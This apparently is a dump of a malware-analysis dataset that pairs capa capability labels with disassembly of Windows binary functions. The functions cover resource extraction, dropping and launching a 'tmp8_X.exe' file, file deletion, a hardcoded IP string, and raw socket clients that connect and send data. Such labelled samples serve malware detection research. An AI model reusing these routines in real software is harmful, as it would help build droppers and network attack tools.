joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403eb9
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push ebp
push edi
xor edi, edi
push edi
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleW]
push str.IDR_BINARY
mov ebx, eax
push 0x89
push ebx
call dword [sym.imp.KERNEL32.DLL_FindResourceW]
mov ebp, eax
cmp ebp, edi
je 0x403f26
push esi
push ebp
push ebx
call dword [sym.imp.KERNEL32.DLL_SizeofResource]
push ebp
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.DLL_LoadResource]
mov ebx, eax
push ebx
call dword [sym.imp.KERNEL32.DLL_LockResource]
mov ebp, eax
mov eax, dword [esp + 0x14]
push esi
mov dword [eax], esi
call fcn.00409419
push esi
mov edi, eax
push 0
push edi
call fcn.0040c290
push esi
push ebp
push edi
call fcn.0040d2d0
add esp, 0x1c
push ebx
call dword [sym.imp.KERNEL32.DLL_FreeResource]
pop esi
mov eax, edi
pop edi
pop ebp
pop ebx
ret

Function at 0x403f2c
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
push dword [ebp + 8]
xor ebx, ebx
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x403f55
push dword [ebp + 8]
call fcn.00403fcc
pop ecx
cmp eax, dword [ebp + 0x10]
jne 0x403f55
inc ebx
jmp 0x403fc5
mov edi, 0x200000
push edi
call fcn.004099d6
pop ecx
mov esi, eax
push esi
push dword [ebp + 0x10]
mov dword [ebp - 4], edi
push dword [ebp + 0xc]
lea edi, [ebp - 4]
call fcn.00404021
add esp, 0xc
test eax, eax
je 0x403fbe
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
push eax
call fcn.00408ae2
pop ecx
push 0x32
mov eax, 0xc8
call fcn.00402204
mov edi, dword [ebp - 4]
pop ecx
push eax
lea ebx, [edi + esi]
mov dword [ebp + 0x10], eax
call fcn.0040242b
add edi, dword [ebp + 0x10]
pop ecx
push edi
push esi
push dword [ebp + 8]
call fcn.0040408f
add esp, 0xc
mov ebx, eax
dec ebx
neg ebx
sbb ebx, ebx
inc ebx
push esi
call fcn.00409f37
pop ecx
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret

Function at 0x403fcc
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
xor eax, eax
push eax
push eax
push 3
push eax
push 3
push closesocket
push dword [ebp + 8]
or esi, 0xffffffff
mov ebx, esi
call dword [sym.imp.KERNEL32.DLL_CreateFileW]
mov edi, eax
cmp edi, esi
jne 0x403ffb
mov edx, esi
jmp 0x40401a
lea eax, [ebp - 0xc]
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_GetFileSizeEx]
cmp eax, 1
jne 0x404011
mov esi, dword [ebp - 0xc]
mov ebx, dword [ebp - 8]
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov edx, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x40408f
Capabilities:
Check if file exists
Get file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
push dword [ebp + 8]
xor esi, esi
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x4040af
mov eax, dword [ebp + 8]
call fcn.004040fa
test eax, eax
je 0x4040f5
push edi
push esi
push esi
push 2
push esi
push 1
push 0x40000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x4040f4
push esi
lea eax, [ebp + 0xc]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push edi
call dword [sym.imp.KERNEL32.DLL_WriteFile]
neg eax
sbb eax, eax
and eax, dword [ebp + 0xc]
cmp eax, dword [ebp + 0x10]
jne 0x4040ed
xor esi, esi
inc esi
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
pop edi
mov eax, esi
pop esi
pop ebp
ret

Function at 0x4040fa
Capabilities:
Check if file exists
Delete file
Get file attributes
Set file attributes

Disassembly:
push esi
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x40410d
xor eax, eax
pop esi
ret
test al, 1
je 0x404114
xor eax, 1
test al, 4
je 0x40411b
xor eax, 4
test al, 2
je 0x404122
xor eax, 2
test al, 0x20
je 0x404129
xor eax, 0x20
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesW]
push esi
call dword [sym.imp.KERNEL32.DLL_DeleteFileW]
mov esi, eax
call dword [sym.imp.KERNEL32.DLL_GetLastError]
mov eax, esi
pop esi
ret
Function at 0x40418c
Capabilities:
Check if file exists
Create process on windows
Get file attributes
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x214
mov eax, dword [0x41f044]
xor eax, esp
mov dword [esp + 0x210], eax
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
xor esi, esi
xor eax, eax
movzx ecx, word [eax + str.OurPro]
mov word [eax + 0x421698], cx
inc eax
inc eax
cmp cx, si
jne 0x4041b0
xor eax, eax
movzx ecx, word [eax + str.WinCls]
mov word [eax + 0x4215d0], cx
inc eax
inc eax
cmp cx, si
jne 0x4041c7
mov eax, edi
call fcn.00404356
mov eax, dword [ebp + 0x10]
mov edx, 0x421768
sub edx, eax
movzx ecx, word [eax]
mov word [edx + eax], cx
inc eax
inc eax
cmp cx, si
jne 0x4041ed
call section..text
push 0x7d0
mov dword [0x42006c], eax
call dword [sym.imp.KERNEL32.DLL_Sleep]
call fcn.0040109c
test eax, eax
je 0x404225
call fcn.0040246d
push esi
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
push esi
push edi
push esi
push esi
push esi
mov eax, closesocket
push eax
push esi
push eax
push 0xcf0000
push 0x421698
push 0x4215d0
push esi
mov dword [0x421760], edi
call dword [sym.imp.USER32.dll_CreateWindowExW]
test eax, eax
je 0x40425b
call fcn.004025e6
cmp eax, esi
jne 0x404274
mov ecx, dword [esp + 0x21c]
pop edi
pop esi
pop ebx
xor ecx, esp
xor eax, eax
call fcn.004089e7
mov esp, ebp
pop ebp
ret 0x10
xor eax, eax
push 0x206
mov word [esp + 0x14], ax
lea eax, [esp + 0x16]
push esi
push eax
call fcn.0040c290
mov ecx, dword [0x421c70]
add esp, 0xc
cmp ecx, esi
jbe 0x4042b7
cmp word [0x421c74], si
jbe 0x4042b7
mov esi, str.218.54.31.226
call fcn.00402f19
mov ax, word [0x421c74]
mov word [0x420060], ax
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
mov ecx, 0x3e8
xor edx, edx
mov esi, ecx
div esi
xor edx, edx
mov ebx, 0x422028
div ecx
push edx
push str.tmp8_X.exe
push ebx
call fcn.00404438
add esp, 0xc
call fcn.00402fd7
lea edi, [esp + 0x10]
call fcn.00402f7d
push 0x41bd40
mov esi, 0x104
mov eax, edi
push esi
push eax
call fcn.004089f6
add esp, 0xc
push ebx
mov eax, edi
push esi
push eax
call fcn.004089f6
add esp, 0xc
mov eax, edi
push eax
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x40433f
push 0x1f4
call dword [sym.imp.KERNEL32.DLL_Sleep]
push 1
xor eax, eax
push eax
push 0x41bc18
mov ecx, edi
push ecx
push eax
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0x1388
call dword [sym.imp.KERNEL32.DLL_Sleep]
call fcn.00403c69
push 0
jmp 0x40421f

Function at 0x405318
Capabilities:
Hash data using sha1

Disassembly:
and dword [eax + 4], 0
and dword [eax], 0
mov dword [eax + 8], 0x67452301
mov dword [eax + 0xc], 0xefcdab89
mov dword [eax + 0x10], 0x98badcfe
mov dword [eax + 0x14], 0x10325476
mov dword [eax + 0x18], 0xc3d2e1f0
ret
Function at 0x4054ac
Capabilities:
Read file on windows

Disassembly:
push ebp
lea ebp, [esp - 0xff0]
mov eax, 0x1070
call fcn.00413390
mov eax, dword [0x41f044]
xor eax, ebp
mov dword [ebp + 0xfec], eax
mov eax, dword [ebp + 0xff8]
push esi
push edi
push 0x41bd38
push eax
lea eax, [ebp - 0x18]
mov esi, ecx
xor edi, edi
push eax
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x1c], edi
call fcn.00408f4b
add esp, 0xc
cmp dword [ebp - 0x18], edi
jne 0x405507
mov edi, esi
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor eax, eax
jmp 0x40559a
push ebx
push 2
push edi
push dword [ebp - 0x18]
call fcn.004096f7
push dword [ebp - 0x18]
call fcn.00409919
push edi
push edi
push dword [ebp - 0x18]
mov dword [ebp - 0x24], eax
call fcn.004096f7
lea eax, [ebp - 0x80]
call fcn.00405318
push dword [ebp - 0x18]
mov esi, 0x1000
push esi
lea eax, [ebp - 0x14]
push 1
push eax
call fcn.0040923e
mov ebx, eax
add esp, 0x2c
cmp ebx, edi
jbe 0x405574
push ebx
lea edi, [ebp - 0x80]
lea ecx, [ebp - 0x14]
call fcn.00405343
push dword [ebp - 0x18]
add dword [ebp - 0x1c], ebx
push esi
lea eax, [ebp - 0x14]
push 1
push eax
call fcn.0040923e
mov ebx, eax
add esp, 0x14
test ebx, ebx
ja 0x40554d
mov edi, dword [ebp - 0x20]
push edi
lea esi, [ebp - 0x80]
call fcn.004053dc
push dword [ebp - 0x18]
call fcn.004092d2
mov eax, dword [ebp - 0x1c]
pop ecx
pop ecx
pop ebx
cmp eax, dword [ebp - 0x24]
jb 0x4054f9
xor eax, eax
inc eax
mov ecx, dword [ebp + 0xfec]
pop edi
xor ecx, ebp
pop esi
call fcn.004089e7
add ebp, 0xff0
leave
ret

Function at 0x406d3d
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push edi
mov edi, edx
test ecx, ecx
jne 0x406d48
xor eax, eax
pop edi
ret
push esi
not eax
mov edx, 0xff
cmp edi, 8
jb 0x406dfa
mov esi, edi
shr esi, 3
push ebx
movzx ebx, byte [ecx]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x41d310]
inc ecx
movzx ebx, byte [ecx]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x41d310]
inc ecx
movzx ebx, byte [ecx]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x41d310]
inc ecx
movzx ebx, byte [ecx]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x41d310]
inc ecx
movzx ebx, byte [ecx]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x41d310]
inc ecx
movzx ebx, byte [ecx]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x41d310]
inc ecx
movzx ebx, byte [ecx]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x41d310]
inc ecx
movzx ebx, byte [ecx]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x41d310]
inc ecx
sub edi, 8
dec esi
jne 0x406d5f
pop ebx
test edi, edi
je 0x406e13
movzx esi, byte [ecx]
xor esi, eax
and esi, edx
shr eax, 8
xor eax, dword [esi*4 + 0x41d310]
inc ecx
dec edi
jne 0x406dfe
pop esi
not eax
pop edi
ret
Function at 0x406e18
Capabilities:
Generate random numbers using the delphi lcg
Hash data with crc32

Disassembly:
mov eax, dword [ecx]
movsx edx, dl
xor edx, eax
push esi
mov esi, 0xff
and edx, esi
mov edx, dword [edx*4 + 0x41d310]
shr eax, 8
xor edx, eax
mov eax, dword [ecx + 8]
mov dword [ecx], edx
movzx edx, dl
add edx, dword [ecx + 4]
imul edx, edx, 0x8088405
inc edx
mov dword [ecx + 4], edx
shr edx, 0x18
xor edx, eax
and edx, esi
shr eax, 8
xor eax, dword [edx*4 + 0x41d310]
pop esi
mov dword [ecx + 8], eax
ret

Function at 0x40748d
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
mov edi, dword [ebp + 0xc]
imul edi, dword [ebp + 0x10]
cmp byte [esi], 0
je 0x4074bd
push 0
lea eax, [ebp + 0x10]
push eax
push edi
push dword [ebp + 8]
push dword [esi + 2]
call dword [sym.imp.KERNEL32.DLL_ReadFile]
test eax, eax
jne 0x4074b8
mov byte [esi + 6], 1
mov eax, dword [ebp + 0x10]
jmp 0x4074e5
mov ecx, dword [esi + 0x14]
mov eax, dword [esi + 0x10]
lea edx, [ecx + edi]
cmp edx, eax
jbe 0x4074ce
sub eax, ecx
mov edi, eax
mov eax, dword [esi + 0xc]
push edi
add eax, ecx
push eax
push dword [ebp + 8]
call fcn.0040d2d0
add esp, 0xc
add dword [esi + 0x14], edi
mov eax, edi
xor edx, edx
div dword [ebp + 0xc]
pop edi
pop ebp
ret
Function at 0x40818c
Capabilities:
Get common file path

Disassembly:
push ecx
cmp dword [ebx], 0
push esi
push edi
jne 0x408232
cmp dword [ebx + 4], 0xffffffff
jne 0x408232
lea esi, [ebx + 0x244]
push esi
push 0x104
call dword [sym.imp.KERNEL32.DLL_GetCurrentDirectoryW]
mov eax, esi
lea edx, [eax + 2]
mov cx, word [eax]
inc eax
inc eax
test cx, cx
jne 0x4081b9
sub eax, edx
sar eax, 1
movzx eax, word [ebx + eax*2 + 0x242]
cmp ax, 0x5c
je 0x4081f0
cmp ax, 0x2f
je 0x4081f0
dec esi
dec esi
mov ax, word [esi + 2]
inc esi
inc esi
test ax, ax
jne 0x4081dd
mov edi, esi
mov esi, 0x41bd40
movsd dword es:[edi], dword [esi]
push 0x18
call fcn.00409419
and dword [eax + 0x14], 0
and dword [eax + 7], 0
pop ecx
mov ecx, dword [esp + 0x10]
mov dword [eax + 0xc], ecx
mov ecx, dword [esp + 0x14]
push eax
mov byte [eax], 0
mov byte [eax + 1], 1
mov byte [eax + 0xb], 0
mov dword [eax + 0x10], ecx
call fcn.00407706
mov dword [ebx], eax
neg eax
sbb eax, eax
and eax, 0xfffffe00
pop ecx
add eax, 0x200
jmp 0x408237
mov eax, 0x1000000
pop edi
pop esi
pop ecx
ret 8

Function at 0x4089e7
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x41f044]
jne 0x4089f1
repz ret
jmp fcn.0040a6d9
Function at 0x4136a1
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0040aa39
and dword [ebp - 4], 0
cmp dword [0x420f30], 0
mov ebx, eax
jne 0x413752
push str.USER32.DLL
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x413803
mov esi, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x413803
push eax
call fcn.0040a9c7
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x420f30], eax
call esi
push eax
call fcn.0040a9c7
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x420f34], eax
call esi
push eax
call fcn.0040a9c7
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x420f38], eax
call esi
push eax
call fcn.0040a9c7
pop ecx
mov dword [0x420f40], eax
test eax, eax
je 0x413752
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0040a9c7
pop ecx
mov dword [0x420f3c], eax
mov eax, dword [0x420f3c]
cmp eax, ebx
je 0x4137aa
cmp dword [0x420f40], ebx
je 0x4137aa
push eax
call fcn.0040aa42
push dword [0x420f40]
mov esi, eax
call fcn.0040aa42
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x4137aa
test edi, edi
je 0x4137aa
call esi
test eax, eax
je 0x4137a1
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x4137a1
test byte [ebp - 0xc], 1
jne 0x4137aa
or dword [ebp + 0x10], 0x200000
jmp 0x4137e3
mov eax, dword [0x420f34]
cmp eax, ebx
je 0x4137e3
push eax
call fcn.0040aa42
pop ecx
test eax, eax
je 0x4137e3
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x4137e3
mov eax, dword [0x420f38]
cmp eax, ebx
je 0x4137e3
push eax
call fcn.0040aa42
pop ecx
test eax, eax
je 0x4137e3
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x420f30]
call fcn.0040aa42
pop ecx
test eax, eax
je 0x413803
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x413805
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10001303
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffedc
mov ecx, dword [ebp + 0x18]
mov esi, dword [ebp + 0x14]
lea edi, [0x10011215]
rep movsb byte es:[edi], byte [esi]
xor eax, eax
stosb byte es:[edi], al
cmp dword [0x1000f6e8], 0
jne 0x10001414
push 0
push 1
push 2
call sub.WS2_32.dll_socket
cmp eax, 0xffffffff
jne 0x10001343
mov eax, 0
leave
ret 0x14
mov dword [0x1000f6e8], eax
mov byte [ebp - 0x124], 0x20
mov byte [ebp - 0x123], 0
push 1
push 0
push 0
push 0x10
push 0
lea eax, [ebp - 0x123]
push eax
push dword [0x1000f6e8]
call fcn.100042ef
lea eax, [ebp - 0x124]
push eax
push 0x10011215
call sub.KERNEL32.dll_lstrcatA
mov word [0x1000f6ec], 2
mov eax, dword [ebp + 0xc]
or eax, eax
jne 0x100013b4
push dword [ebp + 0x10]
call sub.WS2_32.dll_inet_addr
cmp eax, 0xffffffff
jne 0x100013b4
push dword [0x1000f6e8]
call sub.WS2_32.dll_closesocket
mov eax, 0xffffffff
leave
ret 0x14
mov dword [0x1000f6f0], eax
push 0x17
call sub.WS2_32.dll_htons
mov word [0x1000f6ee], ax
cmp dword [ebp + 8], 0
je 0x100013e3
push 0x33
push 0x270f
push dword [ebp + 8]
push dword [0x1000f6e8]
call sub.WS2_32.dll_WSAAsyncSelect
jmp 0x100013fb
push 0x33
push 0x270f
push dword [0x10006040]
push dword [0x1000f6e8]
call sub.WS2_32.dll_WSAAsyncSelect
push 0x10
push 0x1000f6ec
push dword [0x1000f6e8]
call sub.WS2_32.dll_connect
push 0xa
call sub.KERNEL32.dll_Sleep
mov eax, dword [ebp + 0x14]
mov dword [ebp - 4], eax
dec dword [ebp + 0x18]
push 1
push 1
push dword [ebp - 4]
push dword [0x1000f6e8]
call sub.WS2_32.dll_send
push eax
push 0x32
call sub.KERNEL32.dll_Sleep
pop eax
cmp eax, 0xffffffff
jne 0x1000147c
mov dword [ebp - 8], 3
push 1
push 1
push dword [ebp - 4]
push dword [0x1000f6e8]
call sub.WS2_32.dll_send
push eax
push 0x50
call sub.KERNEL32.dll_Sleep
pop eax
cmp eax, 0xffffffff
jne 0x10001475
cmp dword [ebp - 8], 0
jne 0x10001477
mov eax, 0xffffffff
leave
ret 0x14
jmp 0x1000147c
dec dword [ebp - 8]
jmp 0x10001444
inc dword [ebp - 4]
cmp dword [ebp + 0x18], 0
jne 0x1000141a
push 0x64
call sub.KERNEL32.dll_Sleep
leave
ret 0x14
Function at 0x10001490
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
cmp dword [0x10010d5d], 0
jne 0x10001570
push 0
push 1
push 2
call sub.WS2_32.dll_socket
cmp eax, 0xffffffff
jne 0x100014b9
mov eax, 0
leave
ret 0x14
mov dword [0x10010d5d], eax
mov word [0x10010d61], 2
mov eax, dword [ebp + 0xc]
or eax, eax
jne 0x100014ef
push dword [ebp + 0x10]
call sub.WS2_32.dll_inet_addr
cmp eax, 0xffffffff
jne 0x100014ef
push dword [0x10010d5d]
call sub.WS2_32.dll_closesocket
mov eax, 0xffffffff
leave
ret 0x14
mov dword [0x10010d65], eax
push 0x17
call sub.WS2_32.dll_htons
mov word [0x10010d63], ax
push 0x3b
push 0x270f
push dword [ebp + 8]
push dword [0x10010d5d]
call sub.WS2_32.dll_WSAAsyncSelect
push 0x10
push 0x10010d61
push dword [0x10010d5d]
call sub.WS2_32.dll_bind
push 0x10
push 0x10010d61
push dword [0x10010d5d]
call sub.WS2_32.dll_connect
push 0xa
call sub.KERNEL32.dll_Sleep
push 1
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [0x10010d5d]
call sub.WS2_32.dll_send
push 0xa
call sub.KERNEL32.dll_Sleep
push dword [0x10010d5d]
call sub.WS2_32.dll_closesocket
mov dword [0x10010d5d], 0
leave
ret 0x14

Function at 0x10001574
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push 6
push 1
push 2
call sub.WS2_32.dll_socket
cmp eax, 0xffffffff
jne 0x10001593
mov eax, 0
leave
ret 0x18
mov dword [ebp - 4], eax
xor eax, eax
mov ecx, 0x10
lea edi, [ebp - 0x14]
rep stosb byte es:[edi], al
mov word [ebp - 0x14], 2
mov eax, dword [ebp + 0xc]
or eax, eax
jne 0x100015cd
push dword [ebp + 0x10]
call sub.WS2_32.dll_inet_addr
cmp eax, 0xffffffff
jne 0x100015cd
push dword [ebp - 4]
call sub.WS2_32.dll_closesocket
mov eax, 0xffffffff
leave
ret 0x18
mov dword [ebp - 0x10], eax
push dword [ebp + 0x14]
call sub.WS2_32.dll_htons
mov word [ebp - 0x12], ax
push 0x3b
push 0x270f
push dword [0x10006040]
push dword [ebp - 4]
call sub.WS2_32.dll_WSAAsyncSelect
push 0x10
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 4]
call sub.WS2_32.dll_bind
push 0x10
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 4]
call sub.WS2_32.dll_connect
push 0xa
call sub.KERNEL32.dll_Sleep
push 1
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp - 4]
call sub.WS2_32.dll_send
push 0xa
call sub.KERNEL32.dll_Sleep
push dword [ebp - 4]
call sub.WS2_32.dll_closesocket
leave
ret 0x18
Function at 0x10001669
Capabilities:
Create thread
Resume thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffffc
jmp 0x1000168d
push 0
push 0
push 0
push 0
call sub.KERNEL32.dll_CreateEventA
mov dword [0x10011421], eax
mov eax, dword [ebp + 8]
mov dword [0x10011445], eax
mov eax, dword [ebp + 8]
lea eax, [ebp - 4]
push eax
push 4
push 0
push 0x10001637
push 0
push 0
call sub.KERNEL32.dll_CreateThread
push eax
push eax
call sub.KERNEL32.dll_ResumeThread
pop eax
push eax
call sub.KERNEL32.dll_CloseHandle
push 0xffffffffffffffff
push dword [0x10011421]
call sub.KERNEL32.dll_WaitForSingleObject
push dword [0x10011421]
call sub.KERNEL32.dll_CloseHandle
mov eax, 1
cmp dword [0x10011445], 0
jne 0x100016f6
xor eax, eax
leave
ret 4

Function at 0x1000170f
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
jmp 0x1000172a
cmp dword [ebp + 0x24], 0
je 0x1000173a
mov eax, dword [ebp + 0x24]
mov dword [0x10011419], eax
jmp 0x10001744
mov dword [0x10011419], 0
cmp dword [0x1001141d], 0
jne 0x1000181d
push 6
push 1
push 2
call sub.WS2_32.dll_socket
cmp eax, 0xffffffff
jne 0x1000176a
mov eax, 0
leave
ret 0x20
mov dword [0x1001141d], eax
mov word [0x10011435], 2
mov word [0x10011425], 2
mov eax, dword [ebp + 0xc]
or eax, eax
jne 0x100017a9
push dword [ebp + 0x10]
call sub.WS2_32.dll_inet_addr
cmp eax, 0xffffffff
jne 0x100017a9
push dword [0x1001141d]
call sub.WS2_32.dll_closesocket
mov eax, 0xffffffff
leave
ret 0x20
mov dword [0x10011439], eax
mov eax, dword [ebp + 0x14]
push eax
call sub.WS2_32.dll_htons
mov word [0x10011437], ax
cmp dword [ebp + 8], 0
je 0x100017da
push 0x33
push 0x270f
push dword [ebp + 8]
push dword [0x1001141d]
call sub.WS2_32.dll_WSAAsyncSelect
jmp 0x100017f2
push 0x33
push 0x270f
push dword [0x10006040]
push dword [0x1001141d]
call sub.WS2_32.dll_WSAAsyncSelect
push 0x10
push 0x10011425
push dword [0x1001141d]
call sub.WS2_32.dll_bind
push 0x10
push 0x10011435
push dword [0x1001141d]
call sub.WS2_32.dll_connect
push 1
call sub.KERNEL32.dll_Sleep
push 0
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [0x1001141d]
call sub.WS2_32.dll_send
push dword [ebp + 0x20]
call fcn.10001669
or eax, eax
jne 0x1000186d
cmp dword [0x1001141d], 0
je 0x10001861
push dword [0x1001141d]
call sub.WS2_32.dll_closesocket
push 0xa
call sub.KERNEL32.dll_Sleep
mov dword [0x1001141d], 0
mov dword [0x10011415], 0
jmp 0x10001889
push dword [0x1001141d]
call sub.WS2_32.dll_closesocket
push 0xa
call sub.KERNEL32.dll_Sleep
mov dword [0x1001141d], 0
mov eax, dword [0x10011415]
leave
ret 0x20
Function at 0x1000196f
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
jmp 0x10001990
cmp dword [0x10006008], 0
jne 0x10001a6a
push 0
push 1
push 2
call sub.WS2_32.dll_socket
cmp eax, 0xffffffff
jne 0x100019b6
mov eax, 0
leave
ret 0x14
mov dword [0x10006008], eax
mov word [0x10006020], 2
mov word [0x10006010], 2
mov eax, dword [ebp + 0xc]
or eax, eax
jne 0x100019f5
push dword [ebp + 0x10]
call sub.WS2_32.dll_inet_addr
cmp eax, 0xffffffff
jne 0x100019f5
push dword [0x10006008]
call sub.WS2_32.dll_closesocket
mov eax, 0xffffffff
leave
ret 0x14
mov dword [0x10006024], eax
push 0xd930
call sub.WS2_32.dll_htons
mov word [0x10006022], ax
cmp dword [ebp + 8], 0
je 0x10001a27
push 0x33
push 0x270f
push dword [ebp + 8]
push dword [0x10006008]
call sub.WS2_32.dll_WSAAsyncSelect
jmp 0x10001a3f
push 0x33
push 0x270f
push dword [0x10006040]
push dword [0x10006008]
call sub.WS2_32.dll_WSAAsyncSelect
push 0x10
push 0x10006010
push dword [0x10006008]
call sub.WS2_32.dll_bind
push 0x10
push 0x10006020
push dword [0x10006008]
call sub.WS2_32.dll_connect
push 1
call sub.KERNEL32.dll_Sleep
push 0
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [0x10006008]
call sub.WS2_32.dll_send
call fcn.100018c2
or eax, eax
jne 0x10001ab8
cmp dword [0x10006008], 0
je 0x10001aae
push dword [0x10006008]
call sub.WS2_32.dll_closesocket
push 0x3e8
call sub.KERNEL32.dll_Sleep
mov dword [0x10006008], 0
mov dword [section..data], 0
mov eax, dword [section..data]
leave
ret 0x14